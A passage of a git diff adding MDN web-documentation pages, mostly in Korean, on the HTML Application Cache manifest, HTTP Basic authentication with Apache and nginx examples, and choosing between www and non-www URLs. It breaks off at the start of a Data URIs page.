+<p>Cache manifests are UTF-8 format text files, and may optionally include a BOM character. Newlines may be represented by line feed (<code>U+000A</code>), carriage return (<code>U+000D</code>), or carriage return and line feed both.</p>
+
+<p>The first line of the cache manifest must consist of the string <code>CACHE MANIFEST</code> (with a single <code>U+0020</code> space between the two words), followed by zero or more space or tab characters. Any other text on the line is ignored.</p>
+
+<p>The remainder of the cache manifest must be comprised of zero or more of the following lines:</p>
+
+<dl>
+ <dt>Blank line</dt>
+ <dd>You may use blank lines comprised of zero or more space and tab characters.</dd>
+ <dt>Comment</dt>
+ <dd>Comments consist of zero or more tabs or spaces followed by a single <code>#</code> character, followed by zero or more characters of comment text. Comments may only be used on their own lines (after the initial <span style='font-family: "Courier New","Andale Mono",monospace; font-size: 14px; line-height: normal;'>CACHE MANIFEST </span><span style="font-size: 14px; line-height: 1.572;">line), and cannot be appended to other lines. This means that you cannot specify fragment identifiers.</span></dd>
+ <dt>Section header</dt>
+ <dd>Section headers specify which section of the cache manifest is being manipulated. There are three possible section headers:</dd>
+</dl>
+
+<blockquote>
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th>Section header</th>
+ <th>Description</th>
+ </tr>
+ <tr>
+ <td><code>CACHE:</code></td>
+ <td>Switches to the explicit section of the cache manifest (this is the default section).</td>
+ </tr>
+ <tr>
+ <td><code>NETWORK:</code></td>
+ <td>Switches to the online whitelist section of the cache manifest.</td>
+ </tr>
+ <tr>
+ <td><code>FALLBACK:</code></td>
+ <td>Switches to the fallback section of the cache manifest.</td>
+ </tr>
+ </tbody>
+</table>
+</blockquote>
+
+<dl>
+ <dd>The section header line may include whitespaces, but must include the colon (<code>:</code>) in the section name.</dd>
+ <dt>Section data</dt>
+ <dd>The format for lines of data varies from section to section. In the explicit (<code>CACHE:</code>) section, each line is a valid URI or IRI reference to a resource to cache (no wildcard characters are allowed in this sections). Whitespace is allowed before and after the URI or IRI on each line. In the Fallback section each line is a valid URI or IRI reference to a resource, followed by a fallback resource that is to be served up when a connection with the server cannot be made. In the network section, each line is a valid URI or IRI reference to a resource to fetch from the network (the wildcard character * is allowed in this section).
+ <div class="note"><strong>Note: </strong>Relative URIs are relative to the cache manifest's URI, not to the URI of the document referencing the manifest.</div>
+ </dd>
+</dl>
+
+<p>Cache manifest files can switch from section to section at will (each section header can be used more than once), and sections are allowed to be empty.</p>
+
+<h2 id="Resources_in_an_application_cache">Resources in an application cache</h2>
+
+<p>An application cache always includes at least one resource, identified by URI. All resources fit into one of the following categories:</p>
+
+<dl>
+ <dt>Master entries</dt>
+ <dd>These are resources added to the cache because a browsing context visited by the user included a document that indicated that it was in this cache using its <code>manifest</code> attribute.</dd>
+ <dt>Explicit entries</dt>
+ <dd>These are resources explicitly listed in the application's cache manifest file.</dd>
+ <dt>Network entries</dt>
+ <dd>These are resources listed in the application's cache manifest files as network entries.</dd>
+ <dt>Fallback entries</dt>
+ <dd>These are resources listed in the application's cache manifest files as fallback entries.</dd>
+</dl>
+
+<div class="note"><strong>Note:</strong> Resources can be tagged with multiple categories, and can therefore be categorized as multiple entries. For example, an entry can be both an explicit entry and a fallback entry.</div>
+
+<p>Resource categories are described in greater detail below.</p>
+
+<h3 id="Master_entries">Master entries</h3>
+
+<p>Master entries are any HTML files that include a {{htmlattrxref("manifest","html")}} attribute in their {{HTMLElement("html")}} element. For example, let's say we have the HTML file <code><a class="linkification-ext external" href="http://www.foo.bar/entry.html" title="Linkification: http://www.foo.bar/entry.html">http://www.example.com/entry.html</a></code>, which looks like this:</p>
+
+<pre class="brush: html">&lt;html manifest="example.appcache"&gt;
+ &lt;h1&gt;Application Cache Example&lt;/h1&gt;
+&lt;/html&gt;
+</pre>
+
+<p>If <code>entry.html</code> is not listed in the <code>example.appcache</code> cache manifest file, visiting the <code>entry.html</code> page causes <code>entry.html</code> to be added to the application cache as a master entry.</p>
+
+<h3 id="Explicit_entries">Explicit entries</h3>
+
+<p>Explicit entries are resources that are explicitly listed in the <code>CACHE </code>section of a cache manifest file.</p>
+
+<h3 id="Network_entries">Network entries</h3>
+
+<p>The <code>NETWORK</code> section of a cache manifest file specifies resources for which a web application requires online access. Network entries in an application cache are essentially an "online whitelist"—URIs specified in the <code>NETWORK</code> section are loaded from the server instead of the cache. This lets the browser's security model protect the user from potential security breaches by limiting access to approved resources.</p>
+
+<p>As an example, you can use network entries to load and execute scripts and other code from the server instead of the cache:</p>
+
+<pre>CACHE MANIFEST
+NETWORK:
+/api
+</pre>
+
+<p>The cache manifest section listed above ensures that requests to load resources contained in the <code><a href="http://www.example.com/api/" rel="freelink">http://www.example.com/api/</a></code> subtree always go to the network without attempting to access the cache.</p>
+
+<div class="note"><strong>Note</strong>: Simply omitting master entries (files that have the <code>manifest</code> attribute set in the <code>html</code> element) from the manifest file would not have the same result, because master entries will be added—and subsequently served from—the application cache.</div>
+
+<h3 id="Fallback_entries">Fallback entries</h3>
+
+<p>Fallback entries are used when an attempt to load a resource fails. For example, let's say the cache manifest file <code><a href="http://www.example.com/example.appcache" rel="freelink">http://www.example.com/example.appcache</a></code> includes the following content:</p>
+
+<pre>CACHE MANIFEST
+FALLBACK:
+example/bar/ example.html
+</pre>
+
+<p>Any request to <code><a href="http://www.example.com/example/bar/" rel="freelink">http://www.example.com/example/bar/</a></code> or any of its subdirectories and their content cause the browser to issue a network request to attempt to load the requested resource. If the attempt fails, due to either a network failure or a server error of some kind, the browser loads the file <code>example.html</code> instead.</p>
+
+<h2 id="Cache_states">Cache states</h2>
+
+<p>Each application cache has a <strong>state</strong>, which indicates the current condition of the cache. Caches that share the same manifest URI share the same cache state, which can be one of the following:</p>
+
+<dl>
+ <dt><code>UNCACHED</code></dt>
+ <dd>A special value that indicates that an application cache object is not fully initialized.</dd>
+ <dt><code>IDLE</code></dt>
+ <dd>The application cache is not currently in the process of being updated.</dd>
+ <dt><code>CHECKING</code></dt>
+ <dd>The manifest is being fetched and checked for updates.</dd>
+ <dt><code>DOWNLOADING</code></dt>
+ <dd>Resources are being downloaded to be added to the cache, due to a changed resource manifest.</dd>
+ <dt><code>UPDATEREADY</code></dt>
+ <dd>There is a new version of the application cache available. There is a corresponding <code>updateready</code> event, which is fired instead of the <code>cached</code> event when a new update has been downloaded but not yet activated using the <code>swapCache()</code> method.</dd>
+ <dt><code>OBSOLETE</code></dt>
+ <dd>The application cache group is now obsolete.</dd>
+</dl>
+
+<h2 id="Testing_for_updates_to_the_cache_manifest">Testing for updates to the cache manifest</h2>
+
+<p>You can programmatically test to see if an application has an updated cache manifest file, using JavaScript. Since a cache manifest file may have been updated before a script attaches event listeners to test for updates, scripts should always test <code>window.applicationCache.status</code>.</p>
+
+<pre class="brush: js">function onUpdateReady() {
+ alert('found new version!');
+}
+window.applicationCache.addEventListener('updateready', onUpdateReady);
+if(window.applicationCache.status === window.applicationCache.UPDATEREADY) {
+ onUpdateReady();
+}</pre>
+
+<p>To manually start testing for a new manifest file, you can use <code>window.applicationCache.update()</code>.</p>
+
+<h2 id="Gotchas">Gotchas</h2>
+
+<ul>
+ <li>Never access cached files by using traditional GET parameters (like <code>other-cached-page.html?parameterName=value</code>). This will make the browser bypass the cache and attempt to get it from network. To link to cached resources that have parameters parsed in JavaScript use parameters in the hash part of the link, such as <code>other-cached-page.html#whatever?parameterName=value</code>.</li>
+ <li>When applications are cached, simply updating the resources (files) that are used in a web page is not enough to update the files that have been cached. You must update the cache manifest file itself before the browser retrieves and uses the updated files. You can do this programmatically using <code>window.applicationCache.swapCache()</code>, though resources that have already been loaded will not be affected. To make sure that resources are loaded from a new version of the application cache, refreshing the page is ideal.</li>
+ <li>It's a good idea to set expires headers on your web server for <code>*.appcache</code> files to expire immediately. This avoids the risk of caching manifest files. For example, in Apache you can specify such a configuration as follows:<br>
+ <code>ExpiresByType text/cache-manifest "access plus 0 seconds"</code></li>
+</ul>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.html.manifest")}}</p>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<ul>
+ <li><a href="http://www.html5rocks.com/en/tutorials/appcache/beginner/" title="http://www.html5rocks.com/en/tutorials/appcache/beginner/">HTML5Rocks - A Beginner's Guide to Using the Application Cache</a></li>
+ <li><a href="http://appcachefacts.info/" title="http://appcachefacts.info/">appcachefacts.info</a> - detailed information on AppCache idiosyncrasies</li>
+ <li><a href="http://alistapart.com/article/application-cache-is-a-douchebag" title="http://alistapart.com/article/application-cache-is-a-douchebag">A List Apart: Application Cache is a Douchebag</a>
+ <ul>
+ <li><a href="http://flailingmonkey.com/application-cache-not-a-douchebag" title="http://flailingmonkey.com/application-cache-not-a-douchebag">The Application Cache is no longer a Douchebag</a> - an overview of the app cache debugging tools added in Firefox 23.</li>
+ </ul>
+ </li>
+ <li><a href="http://hacks.mozilla.org/2010/01/offline-web-applications/" title="http://hacks.mozilla.org/2010/01/offline-web-applications/">offline web applications</a> at hacks.mozilla.org - showcases an offline app demo and explains how it works.</li>
+ <li><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/offline.html#offline" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/offline.html#offline">HTML 5 working draft: Offline web applications</a></li>
+ <li><a href="http://www.w3.org/TR/offline-webapps/" title="http://www.w3.org/TR/offline-webapps/">W3C Working Group Note: Offline Web Applications</a></li>
+ <li><a href="http://developer.teradata.com/blog/js186040/2011/11/html5-cache-manifest-an-off-label-usage" title="http://developer.teradata.com/blog/js186040/2011/11/html5-cache-manifest-an-off-label-usage">HTML5 Cache Manifest: An Off-label Usage</a></li>
+ <li><a href="http://manifest-validator.com" title="http://manifest-validator.com">Cache Manifest Validator</a></li>
+ <li>{{interface("nsIApplicationCache")}}</li>
+ <li>{{interface("nsIApplicationCacheNamespace")}}</li>
+ <li>{{interface("nsIApplicationCacheContainer")}}</li>
+ <li>{{interface("nsIApplicationCacheChannel")}}</li>
+ <li>{{interface("nsIApplicationCacheService")}}</li>
+ <li>{{interface("nsIDOMOfflineResourceList")}}</li>
+ <li><a href="http://www.ibm.com/developerworks/web/library/wa-ffox3/">Get ready for Firefox 3.0 - A Web developer's guide to the many new features in this popular browser, especially the offline application features</a> (IBM developerWorks)</li>
+ <li><a href="/en-US/docs/Application_cache_implementation_overview" title="/en-US/docs/Application_cache_implementation_overview">Application cache implementation overview</a></li>
+</ul>
diff --git a/files/ko/web/http/authentication/index.html b/files/ko/web/http/authentication/index.html
new file mode 100644
index 0000000000..0656c6ecf2
--- /dev/null
+++ b/files/ko/web/http/authentication/index.html
@@ -0,0 +1,111 @@
+---
+title: HTTP 인증
+slug: Web/HTTP/Authentication
+translation_of: Web/HTTP/Authentication
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary">HTTP는 액세스 제어와 인증을 위한 프레임워크를 제공합니다. 가장 일반적인 인증 방식은 "Basic" 인증 방식입니다. 이 페이지에서는 일반적인 HTTP 인증 프레임워크를 소개하고 서버에 HTTP의 Basic 인증 방식으로 접근을 제한하는 것을 보여 줍니다.</p>
+
+<h2 id="일반적인_HTTP_인증_프레임워크">일반적인 HTTP 인증 프레임워크</h2>
+
+<p>{{RFC("7235")}}는 서버에 의해 클라이언트 요청을 시도({{glossary("challenge")}})하고, 클라이언트에 의해 인증 정보를 제공하기 위해 사용될 수 있는 HTTP 인증 프레임워크를 정의합니다. 이러한 시도와 응답 과정은 다음과 같이 작동합니다. 서버는 클라이언트에게 {{HTTPStatus("401")}} (Unauthorized) 응답 코드를 가지고 응답하며, 최소한 한 번의 시도에 포함된 {{HTTPHeader("WWW-Authenticate")}} 응답 헤더로 권한을 부여하는 방법에 대한 정보를 제공합니다. 서버와 인증을 하기를 원하는 클라이언트는 {{HTTPHeader("Authorization")}} 요청 헤더 필드에 인증 정보를 포함함으로써 인증을 수행할 수 있습니다. 클라이언트는 대개 사용자에게 비밀번호 프롬프트를 표시할 것이고 정확한 <code>Authorization</code> 헤더를 포함하는 요청을 만들 것입니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14689/HTTPAuth.png" style="height: 335px; width: 710px;"></p>
+
+<p>그림에서 보는 것과 같이 "Basic" 인증의 경우, 교환은 안전을 위해 HTTPS (TLS) 연결 위에서 <strong>발생하여야 합니다</strong>.</p>
+
+<h3 id="프록시_인증">프록시 인증</h3>
+
+<p>동일한 시도 및 응답 메커니즘이 프록시 인증을 위해서도 사용될 수 있습니다. 이 경우, 이것은 인증을 요구하는 중간 프록시입니다. 리소스 인증 및 프록시 인증은 함께 존재할 수 있기 때문에, 헤더와 상태 코드의 다른 세트가 필요합니다. 프록시의 경우, 요청에 대한 상태 코드는 {{HTTPStatus("407")}} (Proxy Authentication Required)이고, {{HTTPHeader("Proxy-Authenticate")}} 응답 헤더는 프록시에 적용 가능한 최소한 하나의 요청을 포함하며, 그리고 {{HTTPHeader("Proxy-Authorization")}} 요청 헤더는 프록시 서버에 인증 정보를 제공하기 위해 사용됩니다.</p>
+
+<h3 id="접근_거부">접근 거부</h3>
+
+<p>(프록시) 서버가 주어진 리소스에 대한 접근 권한을 얻기 위해 적절하지 않은 유효한 인증 정보를 수신한다면, 서버는 {{HTTPStatus("403")}} <code>Forbidden</code> 상태 코드로 응답하여야 합니다.  {{HTTPStatus("401")}} <code>Unauthorized</code>나 {{HTTPStatus("407")}} <code>Proxy Authentication Required</code>와는 다르게, 해당 사용자에 대한 인증은 불가능합니다.</p>
+
+<h3 id="WWW-Authenticate와_Proxy-Authenticate_헤더"><code>WWW-Authenticate</code>와 <code>Proxy-Authenticate</code> 헤더</h3>
+
+<p>{{HTTPHeader("WWW-Authenticate")}}와 {{HTTPHeader("Proxy-Authenticate")}} 응답 헤더는 자원에 대한 액세스를 얻기 위해 사용되어야 할 인증 방법을 정의합니다. 이들은 인증을 하려는 클라이언트가 인증 정보를 제공할 방법을 알기 위해, 어떤 인증 스킴이 사용될 것인지를 구체적으로 적을 필요가 있습니다. 이들 헤더의 문법은 다음과 같습니다.</p>
+
+<pre class="syntaxbox">WWW-Authenticate: &lt;type&gt; realm=&lt;realm&gt;
+Proxy-Authenticate: &lt;type&gt; realm=&lt;realm&gt;
+</pre>
+
+<p>여기서, <code>&lt;type&gt;</code>은 인증 스킴입니다("Basic"은 가장 일반적인 스킴이며 <a href="https://developer.mozilla.org/ko/docs/Web/HTTP/Authentication#Basic_%EC%9D%B8%EC%A6%9D_%EC%8A%A4%ED%82%B4">아래에 소개되어 있습니다</a>). <em>realm</em>은 보호되는 영역을 설명하거나 보호의 범위를 알리는데 사용됩니다. 이는 어떤 공간에 사용자가 접근하려고 시도하는지를 알리기 위하여, "중간 단계의 사이트에 대한 접근"과 같거나 또는 비슷한 메시지가 될 수 있습니다.</p>
+
+<h3 id="Authorization와_Proxy-Authorization_헤더"><code>Authorization</code>와 <code>Proxy-Authorization</code> 헤더</h3>
+
+<p>{{HTTPHeader("Authorization")}}와 {{HTTPHeader("Proxy-Authorization")}} 요청 헤더는 사용자 에이전트가 (프록시) 서버에 인증을 하기 위한 인증 정보를 포함합니다. 여기에서 type은 다시 한 번 필요하며 credentials이 뒤에 따라옵니다. credentials 부분은 어떤 인증 스킴이 사용되는지에 따라 인코딩이 되어 있거나 암호화가 되어 있을 수 있습니다.</p>
+
+<pre class="syntaxbox">Authorization: &lt;type&gt; &lt;credentials&gt;
+Proxy-Authorization: &lt;type&gt; &lt;credentials&gt;
+</pre>
+
+<h3 id="인증_스킴">인증 스킴</h3>
+
+<p>일반적인 HTTP 인증 프레임워크는 여러 인증 스킴에 의해 사용됩니다. 스킴은 보안 강도와 클라이언트 또는 서버 소프트웨어에서 사용 가능성에 따라 달라질 수 있습니다.</p>
+
+<p>가장 일반적인 인증 스킴은 아래에서 좀 더 자세하게 소개할 "Basic" 인증 스킴입니다. IANA는 <a href="http://www.iana.org/assignments/http-authschemes/http-authschemes.xhtml">인증 스킴의 목록</a>을 유지하고 있으나, Amazon AWS와 같은 호스트 서비스에 의해 제공되는 다른 스킴도 존재합니다. 일반적인 인증 스킴은 아래를 포함합니다.</p>
+
+<ul>
+ <li><strong>Basic</strong> ({{rfc(7617)}}를 보십시오. base64-encoded credentials. 더 많은 정보는 아래를 확인하십시오.),</li>
+ <li><strong>Bearer</strong> ({{rfc(6750)}}를 보십시오. bearer tokens to access OAuth 2.0-protected resources),</li>
+ <li><strong>Digest</strong> ({{rfc(7616)}}를 보십시오. Firefox에서는 md5 해싱만 지원합니다. SHA 암호화 지원을 위하여 {{bug(472823)}}을 확인하십시오.),</li>
+ <li><strong>HOBA</strong> ({{rfc(7486)}} (draft)를 보십시오. <strong>H</strong>TTP <strong>O</strong>rigin-<strong>B</strong>ound <strong>A</strong>uthentication, digital-signature-based),</li>
+ <li><strong>Mutual</strong> (<a href="https://tools.ietf.org/html/draft-ietf-httpauth-mutual-11">draft-ietf-httpauth-mutual</a>를 참조하십시오),</li>
+ <li>
+ <p><strong>AWS4-HMAC-SHA256</strong> (<a href="http://docs.aws.amazon.com/AmazonS3/latest/API/sigv4-auth-using-authorization-header.html">AWS docs를 참조하십시오</a>).</p>
+ </li>
+</ul>
+
+<h2 id="Basic_인증_스킴">Basic 인증 스킴</h2>
+
+<p>"Basic" HTTP 인증 스킴은 {{rfc(7617)}}에 정의되어 있는데, 이는 base64를 이용하여 인코딩된 사용자 ID/비밀번호 쌍의 인증 정보를 전달합니다.</p>
+
+<h3 id="Basic_인증의_보안">Basic 인증의 보안</h3>
+
+<p>사용자 ID와 비밀번호가 평문으로 네트워크를 통해 전달되기 때문에 (이것은 base64로 인코딩 되어 있으나, base64는 복호화가 가능한 인코딩이므로), Basic 인증 스킴은 안전하지 않습니다. HTTPS / TLS는 basic 인증과 함께 사용되어야 합니다. 이러한 추가적인 보안상의 향상이 없이는, basic 인증은 민감하거나 귀중한 정보를 보호하는 데 사용되어서는 안 됩니다.</p>
+
+<h3 id="Apache와_Basic_인증으로_접근_제한하기">Apache와 Basic 인증으로 접근 제한하기</h3>
+
+<p>Apache 서버에서 디렉터리를 비밀번호로 보호하기 위해서는, <code>.htaccess</code>와 <code>.htpasswd</code> 파일이 필요할 것입니다.</p>
+
+<p><code>.htaccess</code> 파일은 일반적으로 이렇게 생겼습니다.</p>
+
+<pre>AuthType Basic
+AuthName "Access to the staging site"
+AuthUserFile /path/to/.htpasswd
+Require valid-user</pre>
+
+<p><code>.htaccess</code> 각각의 줄이 콜론(":")으로 나뉘어져 있는 사용자 이름과 비밀번호를 포함하는 <code>.htpasswd</code> 파일을 참조합니다. 여러분은 그들이 <a href="https://httpd.apache.org/docs/2.4/misc/password_encryptions.html">암호화</a>되어 있기 때문에 (이 경우에서는 md5) 실제 비밀번호를 보지 못할 수도 있습니다. 여러분이 원한다면 <code>.htpasswd</code> 파일의 이름을 바꿀 수 있지만, 이 파일은 누구에게도 접근 가능해서는 안 됨을 유의하십시오. (Apache는 일반적으로 <code>.ht*</code> 파일에 대한 접근을 제한하도록 설정되어 있습니다)</p>
+
+<pre>aladdin:$apr1$ZjTqBB3f$IF9gdYAGlMrs2fuINjHsz.
+user2:$apr1$O04r.y2H$/vEkesPhVInBByJUkXitA/
+</pre>
+
+<h3 id="nginx와_Basic_인증으로_접근_제한하기">nginx와 Basic 인증으로 접근 제한하기</h3>
+
+<p>nginx에서 여러분은 보호하려는 위치와 비밀번호로 보호될 영역의 이름을 나타내는  <code>auth_basic</code> 명령어를 적어줄 필요가 있습니다. 위의 Apache 예제에 있는 것과 같이, <code>auth_basic_user_file</code> 명령어는 암호화된 사용자 인증 정보를 가지고 있는 .htpasswd 파일을 가리킵니다.</p>
+
+<pre>location /status {
+ auth_basic "Access to the staging site";
+ auth_basic_user_file /etc/apache2/.htpasswd;
+}</pre>
+
+<h3 id="URL에_인증_정보를_사용하여_접근하기">URL에 인증 정보를 사용하여 접근하기</h3>
+
+<p>또한 많은 클라이언트들은 아래와 같이 사용자 이름과 비밀번호를 포함하는 인코딩된 URL을 사용하여 로그인 프롬프트를 피하게 합니다.</p>
+
+<pre class="example-bad">https://username:password@www.example.com/</pre>
+
+<p><strong>이러한 방식의 URL은 더 이상 사용되지 않습니다</strong>. Chrome에서, URL의 <code>username:password@</code> 부분은 보안 상의 이유로 <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=82250#c7">제거</a>됩니다. Firefox에서는, 해당 사이트가 진짜로 인증이 필요한지를 체크하며, 그렇지 않으면 Firefox는 프롬프트로 "You are about to log in to the site “www.example.com” with the username “username”, but the website does not require authentication. This may be an attempt to trick you."와 같이 경고합니다.</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li>{{HTTPHeader("WWW-Authenticate")}}</li>
+ <li>{{HTTPHeader("Authorization")}}</li>
+ <li>{{HTTPHeader("Proxy-Authorization")}}</li>
+ <li>{{HTTPHeader("Proxy-Authenticate")}}</li>
+ <li>{{HTTPStatus("401")}}, {{HTTPStatus("403")}}, {{HTTPStatus("407")}}</li>
+</ul>
diff --git a/files/ko/web/http/basics_of_http/choosing_between_www_and_non-www_urls/index.html b/files/ko/web/http/basics_of_http/choosing_between_www_and_non-www_urls/index.html
new file mode 100644
index 0000000000..a229425432
--- /dev/null
+++ b/files/ko/web/http/basics_of_http/choosing_between_www_and_non-www_urls/index.html
@@ -0,0 +1,65 @@
+---
+title: www와 비-www URL 중에서 선택하기
+slug: Web/HTTP/Basics_of_HTTP/Choosing_between_www_and_non-www_URLs
+translation_of: Web/HTTP/Basics_of_HTTP/Choosing_between_www_and_non-www_URLs
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary">웹 사이트 소유자들이 반복해서 하게 되는 질문은 비-www 혹은 www URL 중 무엇을 선택해야 하는가입니다. 이 페이지는 그에 대해 최선의 결론을 내기 위한 조언을 제공합니다.</p>
+
+<h2 id="도메인_이름이란_무엇인가요">도메인 이름이란 무엇인가요?</h2>
+
+<p>HTTP URL에서, 앞 부분의 <code>http://</code> or <code>https://</code> 다음에 오는 첫번째 하위 문자열을 도메인이라 부릅니다. 그것은 문서가 위치하고 있는 서버의 이름입니다.</p>
+
+<p>서버는 꼭 물리적인 하드웨어일 필요는 없습니다: 몇몇 서버들은 같은 물리적 하드웨어 위에 함께 위치할 수 있습니다. 혹은, 한 개의 서버가 여러 하드웨어들에 의해 처리되어, 결과를 만들어내는데 동조하거나 그들 사이에서 요청에 대한 로드를 균형있게 조정할 수도 있습니다. 요점은 의미적으로 <em>하나의 도메인 이름이 하나의 단일 서버를 나타낸다</em>는 것입니다.</p>
+
+<h2 id="그래서_내_사이트_웹에_대해_하나_또는_다른_것을_선택해야만_하나요">그래서, 내 사이트 웹에 대해 하나 또는 다른 것을 선택해야만 하나요?</h2>
+
+<ul>
+ <li><u>그렇습니다</u>, 하나를 선택하고 그것과 함께 결속될 필요가 있습니다. 당신의 표준 위치로 할 것을 선택하는 것은 당신의 몫이며, 한 가지를 선택하는 경우 그것과 결속되게 됩니다. 그것은 당신의 웹 사이트를 당신의 사용자 그리고 검색 엔진에게 있어 좀 더 일관되게 보이도록 만들어줄 것입니다. 이것은 선택된 도메인에 대해 항상 링크되는 것(당신의 웹 사이트에서 상대 URL을 사용하고 있는 경우 어렵지 않아야 함)과 동일한 도메인에 대한 링크를 (이메일이나 소셜 네트워크 등에 의해) 항상 공유하는 것을 포함합니다.</li>
+ <li><u>그렇지 않습니다</u>, 두 가지 모두를 가질 수는 없습니다. 중요한 것은 당신이 공식 도메인을 이용해 결속되어 있고 일관되다는 것입니다. <strong>이 공식 도메인을 <em>표준</em> 이름이라고 부릅니다. </strong>당신의 모든 절대 링크는 그 이름을 사용해야 합니다. 그러나 그럼에도, 당신은 여전히 동작하는 다른 도메인을 가질 수 있습니다: HTTP는 두 가지 기술을 허용하므로 비표준 도메인이 동작하고 예상되는 페이지를 제공하도록 허용되고 있는 동안에도 도메인이 표준 도메인인 당신의 사용자 혹은 검색 엔진에게 있어서 명확할 것입니다.</li>
+</ul>
+
+<p>그러므로, 당신의 도메인 중 하나를 당신의 표준 도메인으로 선택하세요! 표준 도메인이 아닌 도메인을 여전히 동작하도록 만들기 위한 두 가지 기술을 아래에 소개합니다.</p>
+
+<h2 id="표준_URLs을_위한_기술들">표준 URLs을 위한 기술들</h2>
+
+<p><em>표준</em> 웹 사이트를 선택하기 위한 서로 다른 방법들이 있습니다.</p>
+
+<h3 id="HTTP_301_리다이렉트_사용하기">HTTP 301 리다이렉트 사용하기</h3>
+
+<p>이 경우에, 비표준 도메인에 대한 알맞은 HTTP {{HTTPStatus(301)}}로 응답하기 위해 서버가 (www 그리고 비(非)-www URL에 대해 거의 동일해보이는) HTTP 요청을 받도록 구성해야 할 필요가 있습니다. 이것은 표준 URL과 동등한 비표준 URL에 접근하도록 브라우저를 리다이렉트시킬 겁니다. 예를 들어, 비-www URLs을 표준 타입으로 사용하도록 선택했다면, 모든 www URL들은 그와 동등한 www가 없는 URL로 리다이렉트되게 됩니다.</p>
+
+<p>예:</p>
+
+<ol>
+ <li>서버가 <code>http://www.example.org/whaddup</code> 에 대한 요청을 받습니다(표준 도메인이 example.org인 경우).</li>
+ <li>서버는 헤더인 {{HTTPHeader("Location<code>")}}: http://example.org/whaddup</code> 와 함께 {{HTTPStatus(301)}} 코드로 응답하게 됩니다.</li>
+ <li>클라이언트는 표준 도메인(<code>http://example.org/whatddup)</code>에 대한 요청을 발급합니다.</li>
+</ol>
+
+<p><a href="https://github.com/h5bp/html5-boilerplate">HTML5 보일러플레이트 프로젝트</a>는 <a href="https://github.com/h5bp/html5-boilerplate/blob/7a22a33d4041c479d0962499e853501073811887/.htaccess#L219-L258">하나의 도메인을 다른 도메인으로 리다이렉티시키도록 Apache 서버 구성하는 방법</a>에 대한 예제를 가지고 있습니다.</p>
+
+<h3 id="&lt;link_relcanonical>_사용하기"><em><code>&lt;link rel="canonical"&gt;</code> </em>사용하기</h3>
+
+<p>페이지의 정규 주소가 무엇인지를 가리키기 위해 페이지에 특별한 HTML {{HTMLElement("link")}} 엘리먼트를 추가하는 것이 가능합니다. 이것은 페이지를 보는 사람에게는 별 다른 영향이 없지만 검색 엔진 크롤러에게 페이지가 실제로 위치한 곳을 알려줍니다. 그렇게 하면 검색 엔진이 동일한 페이지를 여러 번 색인하지 않으므로, 중복 컨텐츠 혹은 어떤 종류의 스팸으로 간주하게 될 수도 있고 심지어 검색 엔진 결과 페이지에서 당신의 페이지를 제거하거나 우선순위가 낮아질 수도 있습니다.</p>
+
+<p>그런 태그를 추가하게 되면, 두 가지 도메인에 대해 같은 내용을 서브하며 어떤 URL이 표준인지를 검색 엔진에게 알려주게 됩니다. 이전 예제에서, <code>http://www.example.org/whaddup</code> 는 <code>http://example.org/whaddup</code>와 동일한 내용을 서브하지만 head 내 추가적인 {{htmlelement("link")}} 요소가 자리하고 있을 겁니다:</p>
+
+<p><code>&lt;link href="http://example.org/whaddup" rel="canonical"&gt;</code></p>
+
+<p>이전 경우와 다르게, 브라우저 기록은 비-www와 www URL들을 개별적인 엔트리로 판단할 겁니다.</p>
+
+<h2 id="당신의_페이지가_두_가지_경우_모두에_동작하도록_만드세요">당신의 페이지가 두 가지 경우 모두에 동작하도록 만드세요</h2>
+
+<p>앞서 말한 기술들을 가지고, 당신은 당신의 서버가 www가 접두화된 도메인과 그렇지 않은 도메인 모두에 정확하게 응답하도록 구성할 수 있습니다. 이것은 브라우저의 URL 표시줄에 사용자가 어떤 URL을 타이프할지 예상할 수가 없기에 좋은 조언입니다. 정식 위치로 사용할 타입을 선택한 다음 다른 타입으로 리다이렉션하는 것이 중요합니다.</p>
+
+<h2 id="결정하기">결정하기</h2>
+
+<p class="entry-title">이것은 <a href="http://bikeshed.com/">bikeshedding</a> 이슈로 간주될 수도 있는 주관적인 주제입니다. 더 자세한 정보를 얻으려면, <a href="http://www.hyperarts.com/blog/www-vs-non-www-for-your-canonical-domain-url-which-is-best-and-why/">당신의 표준 도메인 URL을 위한 WWW vs non-WWW – 어떤 것이 최선이고 왜 그러한가?</a>를 읽어보시기 바랍니다. 더 많은 정보를 얻을 수 있습니다.</p>
+
+<h2 id="함께_참고할_내용들">함께 참고할 내용들</h2>
+
+<ul>
+ <li><a href="http://www.chrisfinke.com/2011/07/25/what-do-people-type-in-the-address-bar/">URL 바에서 사람들이 타이프하는 것들의 현황</a> (2011)</li>
+</ul>
diff --git a/files/ko/web/http/basics_of_http/data_uris/index.html b/files/ko/web/http/basics_of_http/data_uris/index.html
new file mode 100644
index 0000000000..60aec88903
--- /dev/null
+++ b/files/ko/web/http/basics_of_http/data_uris/index.html
@@ -0,0 +1,162 @@
+---
+title: Data URIs
+slug: Web/HTTP/Basics_of_HTTP/Data_URIs
+translation_of: Web/HTTP/Basics_of_HTTP/Data_URIs
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong>Data URIs</strong>, 즉 <code>data:</code> 스킴이 접두어로 붙은 URL은 컨텐츠 작성자가 작은 파일을 문서 내에 인라인으로 임베드할 수 있도록 해줍니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<p>Data URIs는 네 가지 파트로 구성됩니다: 접두사(<code>data:</code>), 데이터의 타입을 가리키는 MIME 타입, 텍스트가 아닌 경우 사용될 부가적인 <code>base64</code> 토큰 그리고 데이터 자체:</p>
+
+<pre class="syntaxbox">data:[&lt;mediatype&gt;][;base64],&lt;data&gt;
+</pre>
+
+<p><code>mediatype</code>이란, MIME 타입을 말합니다(JPEG 이미지의 경우 <code>'image/jpeg'</code>). 만약 생략된다면, 기본 값으로 <code>text/plain;charset=US-ASCII</code>이 사용됩니다.<code> </code></p>
+
